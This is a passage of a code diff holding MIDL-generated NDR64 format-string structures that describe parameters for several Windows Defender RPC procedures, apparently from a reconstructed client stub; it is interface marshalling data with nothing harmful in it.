1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2338_t __midl_frag2338 = +{ +/* Proc232_ServerMpRpcTemporaryExclusionAction */ + { + /* Proc232_ServerMpRpcTemporaryExclusionAction */ /* procedure Proc232_ServerMpRpcTemporaryExclusionAction */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2333_t __midl_frag2333 = +{ +/* *long */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 12 /* 0xc */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2368 +}; + +static const __midl_frag2331_t __midl_frag2331 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ /* Offset */ + } +}; + +static const __midl_frag2330_t __midl_frag2330 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2331 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2329_t __midl_frag2329 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2330 +}; + +static const __midl_frag2328_t __midl_frag2328 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2329 +}; + +static const __midl_frag2325_t __midl_frag2325 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ /* Offset */ + } +}; + +static const __midl_frag2324_t __midl_frag2324 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2325 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2323_t __midl_frag2323 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2324 +}; + +static const __midl_frag2321_t __midl_frag2321 = +{ +/* Proc231_ServerMpRpcWddControl */ + { + /* Proc231_ServerMpRpcWddControl */ /* procedure Proc231_ServerMpRpcWddControl */ + (NDR64_UINT32) 23986240 /* 0x16e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2323, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2328, + { + /* arg_4 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag2316_t __midl_frag2316 = +{ +/* Proc230_ServerMpRpcSenseTriggerToast */ + { + /* Proc230_ServerMpRpcSenseTriggerToast */ /* procedure Proc230_ServerMpRpcSenseTriggerToast */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2312_t __midl_frag2312 = +{ +/* *Struct_16_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag36 +}; + +static const __midl_frag2311_t __midl_frag2311 = +{ +/* Proc229_ServerMpRpcRemoveRnBWFPFilter */ + { + /* Proc229_ServerMpRpcRemoveRnBWFPFilter */ /* procedure Proc229_ServerMpRpcRemoveRnBWFPFilter */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2307_t __midl_frag2307 = +{ +/* *Struct_4918_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2304 +}; + +static const __midl_frag2306_t __midl_frag2306 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag2305_t __midl_frag2305 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag2304_t __midl_frag2304 = +{ +/* Struct_4918_t */ + { + /* Struct_4918_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_4918_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2305 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2306 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x10, /* FC64_CHAR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 1 /* 0x1 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_4918_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 3 /* 0x3 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2303_t __midl_frag2303 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag2302_t __midl_frag2302 = +{ +/* **Struct_4918_t */ + { + /* **Struct_4918_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_4918_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2303 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_4918_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2304 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2307 + } +}; + +static const __midl_frag2301_t __midl_frag2301 = +{ +/* **Struct_4918_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2302 +}; + +static const __midl_frag2300_t __midl_frag2300 = +{ +/* ***Struct_4918_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2301 +}; + +static const __midl_frag2297_t __midl_frag2297 = +{ +/* Proc228_ServerMpRpcGetRnBWFPFilters */ + { + /* Proc228_ServerMpRpcGetRnBWFPFilters */ /* procedure Proc228_ServerMpRpcGetRnBWFPFilters */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2300, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2291_t __midl_frag2291 = +{ +/* Proc227_ServerMpRpcDlpTriggerToast */ + { + /* Proc227_ServerMpRpcDlpTriggerToast */ /* procedure Proc227_ServerMpRpcDlpTriggerToast */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2287_t __midl_frag2287 = +{ +/* */ + { + /* **Struct_4838_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2272 + } +}; + +static const __midl_frag2286_t __midl_frag2286 = +{ +/* *Struct_4838_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2274 +}; + +static const __midl_frag2285_t __midl_frag2285 = +{ +/* *Struct_4778_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2277 +}; + +static const __midl_frag2284_t __midl_frag2284 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 20 /* 0x14 */ + } +}; + +static const __midl_frag2283_t __midl_frag2283 = +{ +/* **Struct_4778_t 